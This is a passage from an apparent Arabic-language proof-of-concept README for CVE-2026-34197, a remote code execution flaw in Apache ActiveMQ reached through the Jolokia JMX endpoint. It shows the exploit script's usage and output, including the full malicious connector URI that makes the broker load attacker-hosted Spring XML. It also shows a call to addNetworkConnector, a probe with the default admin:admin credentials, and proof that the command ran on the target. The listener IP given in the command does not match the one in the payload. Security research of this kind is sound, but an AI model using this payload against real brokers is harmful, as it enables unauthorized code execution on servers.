
إثبات مفهوم لاستغلال ثغرة CVE-2026-34197، يوضح تنفيذ تعليمات برمجية عن بعد مُصادق عليه في Apache ActiveMQ عبر جسر Jolokia JMX-HTTP وحقن الفول XML في Spring.
الوصف
استدخال إدخال غير صحيح، التحكم غير الصحيح في إنشاء الكود (ثغرة إدخال الكود) في Apache ActiveMQ Broker، Apache ActiveMQ. يعرض Apache ActiveMQ Classic جسر Jolokia JMX-HTTP في /api/jolokia/ على وحدة التحكم الويب. سياسة الوصول الافتراضية لـ Jolokia تسمح بعمليات exec على جميع MBeans الخاصة بـ ActiveMQ (org.apache.activemq:*)، بما في ذلك BrokerService.addNetworkConnector(String) و BrokerService.addConnector(String). يمكن للمهاجم المصادق عليه استدعاء هذه العمليات باستخدام URI اكتشاف معدل يقوم بتشغيل معامل brokerConfig لموصل VM لتحميل سياق تطبيق Spring XML عن بعد باستخدام ResourceXmlApplicationContext. نظرًا لأن ResourceXmlApplicationContext من Spring يقوم بإنشاء جميع الفاصوليات المفردة قبل أن يقوم BrokerService بالتحقق من صحة التكوين، يحدث تنفيذ كود عشوائي على JVM الخاص بالوسيط من خلال طرق مصنع الفاصوليا مثل Runtime.exec(). تؤثر هذه المشكلة على Apache ActiveMQ Broker: قبل 5.19.4، من 6.0.0 قبل 6.2.3؛ Apache ActiveMQ All: قبل 5.19.4، من 6.0.0 قبل 6.2.3؛ Apache ActiveMQ: قبل 5.19.4، من 6.0.0 قبل 6.2.3. يُنصح المستخدمون بالترقية إلى الإصدار 5.19.4 أو 6.2.3 الذي يصلح المشكلة
مزيد من المعلومات في: رابط
Github: رابط```bash ❯ docker compose up -d
## إخلاء المسؤولية
هذا المشروع مخصص للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة.
يجب ألا تستخدم هذه الأداة على أي نظام أو شبكة دون إذن صريح من المالك.
استخدم على مسؤوليتك الخاصة.
---```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
مع LHOST هو عنوان IP الخاص على الكمبيوتر. يمكنك استخدام ipconfig على ويندوز أو ifconfig على لينكس
التحقق من RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> نجاح استغلال الثغرة عن بُعد (RCE)، تم إنشاء الملف `blahblah.txt` على النظام المستهدف.
# مرحلة التحليل
## التحليل الديناميكي```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
سجلات وقت التشغيل أكدت أيضًا أنه تم تمكين Jolokia وتعريضه من خلال وحدة تحكم الويب الخاصة بـ ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
تحقق من الاتصال```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
هذا يعني: